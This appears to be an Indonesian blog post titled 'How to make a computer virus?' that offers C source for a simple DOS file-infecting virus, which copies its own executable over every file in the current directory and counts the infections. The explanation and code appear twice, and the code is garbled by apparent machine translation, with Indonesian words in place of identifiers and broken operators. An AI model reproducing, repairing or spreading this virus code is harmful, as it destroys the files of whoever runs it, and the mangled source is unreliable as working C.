Cara Membuat Virus Komputer?
Program ini merupakan contoh bagaimana untuk membuat virus di C.
Program ini menunjukkan program virus sederhana yang pada saat eksekusi (Menjalankan) membuat copy dari dirinya sendiri dalam file lain. Oleh karena itu merusak file lain dengan menginfeksi mereka. Tapi file terinfeksi virus juga mampu menyebar infeksi ke file lain dan seterusnya. Berikut kode sumber dari program virus.
# Include <stdio.h> # Include <io.h> # Include <dos.h> # Include <dir.h> # Include <conio.h> # Include <time.h>
FILE * virus, tuan rumah *; int dilakukan, a = 0; unsigned long x; char buff [2048]; struct ffblk ffblk; clock_t st, end;
void main () { st = clock (); clrscr (); dilakukan = findfirst ("*.*",& ffblk, 0); while (! dilakukan) { virus = fopen (_argv [0], "rb"); host = fopen (ffblk.ff_name, "rb +"); if (host == NULL) goto berikutnya; x 89088 =; printf ("MENGINFEKSI% s \ n", ffblk.ff_name, a); while (x> 2048) { fread (buff, 2048,1, virus); fwrite (buff, 2048,1, host); x-2048 =; } fread (buff, x, 1, virus); fwrite (buff, x, 1, host); a + +; berikutnya: { fcloseall (); dilakukan = findnext (& ffblk); } } printf ("! SELESAI (Jumlah File Terinfeksi =% d)", a); end = clock (); printf ("WAKTU DIAMBIL =% f SEC \ n", (Akhir-st) / CLK_TCK); getch (); }
Program ini merupakan contoh bagaimana untuk membuat virus di C.
Program ini menunjukkan program virus sederhana yang pada saat eksekusi (Menjalankan) membuat copy dari dirinya sendiri dalam file lain. Oleh karena itu merusak file lain dengan menginfeksi mereka. Tapi file terinfeksi virus juga mampu menyebar infeksi ke file lain dan seterusnya. Berikut kode sumber dari program virus.
# Include <stdio.h> # Include <io.h> # Include <dos.h> # Include <dir.h> # Include <conio.h> # Include <time.h>
FILE * virus, tuan rumah *; int dilakukan, a = 0; unsigned long x; char buff [2048]; struct ffblk ffblk; clock_t st, end;
void main () { st = clock (); clrscr (); dilakukan = findfirst ("*.*",& ffblk, 0); while (! dilakukan) { virus = fopen (_argv [0], "rb"); host = fopen (ffblk.ff_name, "rb +"); if (host == NULL) goto berikutnya; x 89088 =; printf ("MENGINFEKSI% s \ n", ffblk.ff_name, a); while (x> 2048) { fread (buff, 2048,1, virus); fwrite (buff, 2048,1, host); x-2048 =; } fread (buff, x, 1, virus); fwrite (buff, x, 1, host); a + +; berikutnya: { fcloseall (); dilakukan = findnext (& ffblk); } } printf ("! SELESAI (Jumlah File Terinfeksi =% d)", a); end = clock (); printf ("WAKTU DIAMBIL =% f SEC \ n", (Akhir-st) / CLK_TCK); getch (); }
0 komentar:
Posting Komentar
Terima Kasih Atas Kunjungan Anda,Segala Kritik Dan Saran Menjadi Perbaikan ADMIN.Mohon Jangan Menampilkan Email Anda Dalam Komentar, Demi Privasi Email Anda.